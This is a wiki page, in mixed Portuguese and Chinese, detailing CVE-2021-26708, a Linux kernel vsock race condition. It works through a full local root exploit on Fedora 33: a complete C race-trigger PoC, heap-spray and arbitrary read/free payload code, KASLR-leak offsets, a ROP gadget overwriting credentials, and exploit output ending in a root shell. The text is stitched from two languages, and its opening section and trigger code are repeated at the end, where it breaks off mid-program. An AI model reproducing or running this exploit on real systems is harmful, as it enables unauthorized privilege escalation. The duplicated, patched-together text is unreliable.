CVE-2021-26708_Linux_kernel_before_5.10.13_特權提升漏洞_pt

# CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/pt

== Vulnerabilidade ==

Essas vulnerabilidades são condições de corrida causadas pelo bloqueio incorreto em net / vmw_vsock / af_vsock.c . Essas competições condicionais foram introduzidas implicitamente no envio que adicionou o suporte a multitransporte VSOCK em novembro de 2019 e foram incorporadas à versão do kernel Linux 5.5-rc1.

CONFIG_VSOCKETS e CONFIG_VIRTIO_VSOCKETS são fornecidos como módulos do kernel em todas as principais distribuições GNU / Linux. Quando você cria um soquete para o domínio AF_VSOCK, esses módulos vulneráveis ​​são carregados automaticamente.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

A criação de sockets AF_VSOCK está disponível para usuários não privilegiados e não requer espaço de nome de usuário.

== Corrupção de memória ==

A seguir está uma introdução detalhada ao uso de CVE-2021-26708, usando a competição condicional em vsock_stream_etssockopt () . Dois threads são necessários para reproduzir. O primeiro thread chama setsockopt () :

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

O segundo thread muda a transmissão do soquete virtual quando vsock_stream_etssockopt () tenta adquirir o bloqueio do soquete, reconectando o soquete virtual:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

Para processar o connect () do socket virtual, o kernel executa vsock_stream_connect () que chama vsock_assign_transport () . Esta função contém o seguinte código:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }
vsock_stream_connect()包含套接字鎖,並行線程中的vsock_stream_setsockopt()也嘗試獲取它,構成條件競爭。因此,當用不同的svm_cid進行第二次connect()時,vsock_deassign_transport()函數被調用。該函數執行virtio_transport_destruct(),釋放vsock_sock.transvsk->transport被設置為NULL。當vsock_stream_connect()釋放套接字鎖時,vsock_stream_setsockopt()可以繼續執行。它調用vsock_update_buffer_size(),隨後調用transport->notify_buffer_size()。這裡transport包含一個來自本地變量的過時的值,與vsk->transport不匹配(本因被設為NULL)。
內核執行virtio_transport_notify_buffer_size(),出現內存破壞:
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
這裡,vvs是指向內核內存的指針,它已經在virtio_transport_destruct()中被釋放。 struct virtio_vsock_sock的大小為64字節,位於kmalloc-64塊緩存中。 buf_alloc字段類型為u32,位於偏移量40。 VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL。 *val的值由攻擊者控制,它的四個最不重要的字節被寫入釋放的內存中。
==模糊測試==
syzkaller fuzzer沒有辦法重現這個崩潰,於是我決定自行研究。但為什麼fuzzer會失敗呢?觀察vsock_update_buffer_size()有所發現:
 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

只有當val與當前的buffer_size不同時,才會調用notify_buffer_size(),也就是說setsockopt()執行SO_VM_SOCKETS_BUFFER_SIZE時,每次調用的size參數都應該不同。於是我構建了相關代碼:
/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov .
 */

#include 
#include 
#include 
#include 
#include 
#include 

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}
這裡的size值取自clock_gettime()返回的納秒數,每次都可能不同。原始的syzkaller不會這麼處理,因為在syzkaller生成 fuzzing輸入時,syscall參數的值被確定,執行時不會改變。
==四字節的力量==
這裡我選擇Fedora 33 Server作為研究目標,內核版本為5.10.11-200.fc33.x86_64,並決心繞過SMEP和SMAP。
第一步,我開始研究穩定的堆噴射,該漏洞利用執行用戶空間的活動,使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後,確認釋放的virtio_vsock_sock被覆蓋,說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg,見pahole輸出:
struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};
前面是消息頭,後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext,則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據,當收到 msg_msg時,就會被security_msg_msg_free()釋放。因此,破壞security指針的前半部分,就能獲得 arbitrary free。
==內核信息洩露==
這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用vsock_deassign_transport(),將vsk->transport設置為NULL,使得vsock_stream_setsockopt()在內存崩潰後調用virtio_transport_send_pkt_info(),出現內核告警:
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...
通過gdb調試,發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址,RBX寄存器包含了vsock_sock的內核地址。
==實現任意讀==
===從 arbitrary free 到 use-after-free===
從洩露的內核地址釋放一個對象
執行堆噴,用受控數據覆蓋該對象
使用損壞的對象進行權限升級
內核實現的System V消息有限制最大值DATALEN_MSG,即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息,剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段,size_t m_ts用於存儲大小。當進行覆蓋操作時,就可以把受控的值放在msg_msg.m_ts和msg_msg.next中:

![](/static/pwnwiki/img/T01a51dfe7a996e854c.png )

Payload:

    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }
但是如何使用msg_msg讀取內核數據呢?通過閱讀msgrcv()系統調用文檔,我找到了好解決方案,使用msgrcv()和MSG標誌:
MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).
這個標誌使內核將消息數據複製到用戶空間,不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y,則MSG是可用的,在Fedora Server適用。
===任意讀的步驟===
準備工作:
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量(該漏洞至少需要兩個);
打開/dev/kmsg進行解析;
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;
啟動一個單獨的pthread來處理userfaultfd()事件;
啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射,並將它們掛在thread_barrier上;
獲取原始msg_msg的內核地址:
在虛擬套接字上進行條件競爭;
在第二個connect()後,在忙循環中等待35微秒;
調用msgsnd()來建立一個單獨的消息隊列;在內存破壞後,msg_msg對像被放置在virtio_vsock_sock位置;
解析內核日誌,從內核警告(RCX寄存器)中保存msg_msg的內核地址;
同時,從RBX寄存器中保存vsock_sock的內核地址;
使用損壞的 msg_msg對原始msg_msg執行任意釋放:
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE,用於實現內存破壞;
在虛擬套接字上進行條件競爭;
在第二個connect()之後馬上調用msgsnd();msg_msg被放置在virtio_vsock_sock的位置,實現破壞;
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2);

![](/static/pwnwiki/img/T01a2a2d47c9494c4a5.png )

如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞,進而SELinux權限檢查失敗;
在這種情況下,msgsnd()返回-1,損壞的msg_msg被銷毀;釋放msg_msg.security可以釋放原始msg_msg;
用一個可控的payload 覆蓋原始msg_msg:
msgsnd()失敗後,漏洞就會調用pthread_barrier_wait(),調用127個用於堆噴射的pthreads;
這些pthreads執行setxattr()的payload;
原始msg_msg被可控的數據覆蓋,msg_msg.next指針存儲vsock_sock對象的地址;

![](/static/pwnwiki/img/T0140baae964febb059.png )

通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息,將vsock_sock內核對象的內容讀到用戶空間:
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
==尋找攻擊目標==
以下是我找到的點:
1.專用的塊緩存,如PINGv6和sock_inode_cache有很多指向對象的指針
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處,存儲了可以覆蓋進行權限升級的憑證的地址。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處,被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
下面是該漏洞如何從內存中提取這些指針:
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
==在 sk_buff 上實現 Use-after-free==
Linux內核中與網絡相關的緩衝區用struct sk_buff表示,這個對像中有skb_shared_info與destructor_arg,可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此,在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中,mem_cgroup對像也是如此。
我構建了以下步驟:
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
2.在用戶空間中準備一個2800字節的緩衝區,並用0x42對其memset()
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字,用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
4.對vsock_sock執行任意讀取過程
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
6.對這個可能的sk_buff地址執行任意讀
7.如果在網絡數據的位置找到0x42424242424242lu,則找到真正的sk_buff,進入步驟8。否則,在可能的sk_buff地址上加4096,轉到步驟6
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射,並把它們掛在pthread_barrier上
9.對sk_buff內核地址進行任意釋放
10.調用pthread_barrier_wait(),執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
11.使用recv()接收服務器套接字的網絡消息。
==通過skb_shared_info 進行任意寫==
以下是覆蓋sk_buff對象的有效payload:
#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
skb_shared_info駐留在噴射數據中,正好在偏移量SKB_SHINFO_OFFSET處,即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的,所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局:

![](/static/pwnwiki/img/T0185ccbf9f025c74da.png )

下面講講destructor_arg 回調:
 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget,所以我自己進行了研究構造。
callback函數指針存儲一個ROP gadget 地址,RDI存儲callback函數的第一個參數,也就是ubuf_info本身的地址,RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要:當gadget從 RSI向 RDX指向的內存中寫入消息1時,有效的 uid和 gid將被零覆蓋。重複同樣的過程,直到權限升級到root。整個過程輸出流如下:
[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
==視頻==

https://www.youtube.com/watch?v=EC8PFOYOUgU

==參考==

https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
== Vulnerabilidade ==

Essas vulnerabilidades são condições de corrida causadas pelo bloqueio incorreto em net / vmw_vsock / af_vsock.c . Essas competições condicionais foram introduzidas implicitamente no envio que adicionou o suporte a multitransporte VSOCK em novembro de 2019 e foram incorporadas à versão do kernel Linux 5.5-rc1.

CONFIG_VSOCKETS e CONFIG_VIRTIO_VSOCKETS são fornecidos como módulos do kernel em todas as principais distribuições GNU / Linux. Quando você cria um soquete para o domínio AF_VSOCK, esses módulos vulneráveis ​​são carregados automaticamente.

vsock = socket(AF_VSOCK, SOCK_STREAM, 0);

A criação de sockets AF_VSOCK está disponível para usuários não privilegiados e não requer espaço de nome de usuário.

== Corrupção de memória ==

A seguir está uma introdução detalhada ao uso de CVE-2021-26708, usando a competição condicional em vsock_stream_etssockopt () . Dois threads são necessários para reproduzir. O primeiro thread chama setsockopt () :

  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

O segundo thread muda a transmissão do soquete virtual quando vsock_stream_etssockopt () tenta adquirir o bloqueio do soquete, reconectando o soquete virtual:

struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

Para processar o connect () do socket virtual, o kernel executa vsock_stream_connect () que chama vsock_assign_transport () . Esta função contém o seguinte código:

     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }

vsock_stream_connect () contém um bloqueio de soquete, e vsock_stream_setsockopt () na thread paralela também tenta obtê-lo, o que constitui uma competição condicional. Portanto, quando o segundo connect () é executado com um svm_cid diferente, a função vsock_deassign_transport () é chamada. Esta função executa virtio_transport_destruct () , libera vsock_sock.trans e vsk-> transport é definido como NULL. Quando vsock_stream_connect () libera o bloqueio de soquete, vsock_stream_setsockopt () pode continuar a executar. Ele chama vsock_update_buffer_size () e, em seguida, chama transport-> notification_buffer_size () . Aqui, transporte contém um valor desatualizado de uma variável local, que não corresponde a vsk-> transporte (o valor original é definido como NULL).

Quando o kernel executa virtio_transport_notify_buffer_size () , ocorre corrupção de memória:

void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}

Aqui, vvs é um ponteiro para a memória do kernel, que foi lançado em virtio_transport_destruct () . O tamanho de struct virtio_vsock_sock é de 64 bytes e está localizado no cache de bloco kmalloc-64. O tipo de campo buf_alloc é u32 e está localizado no deslocamento 40. VIRTIO_VSOCK_MAX_BUF_SIZE é 0xFFFFFFFFUL . O valor de * val é controlado pelo invasor e seus quatro bytes menos importantes são gravados na memória liberada.

== Fuzzing ==

O fuzzer syzkaller não tem como reproduzir este travamento, então decidi estudá-lo sozinho. Mas por que o fuzzer falha? Observe vsock_update_buffer_size () e descubra:

 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

Somente quando val for diferente do buffer_size atual, notification_buffer_size () será chamado, ou seja, quando setsockopt () executar SO_VM_SOCKETS_BUFFER_SIZE , todas as vezes Os parâmetros de tamanho da chamada devem ser todos diferentes. Então, criei o código relevante:

/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov .
 */

#include 
#include 
#include 
#include 
#include 
#include 

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

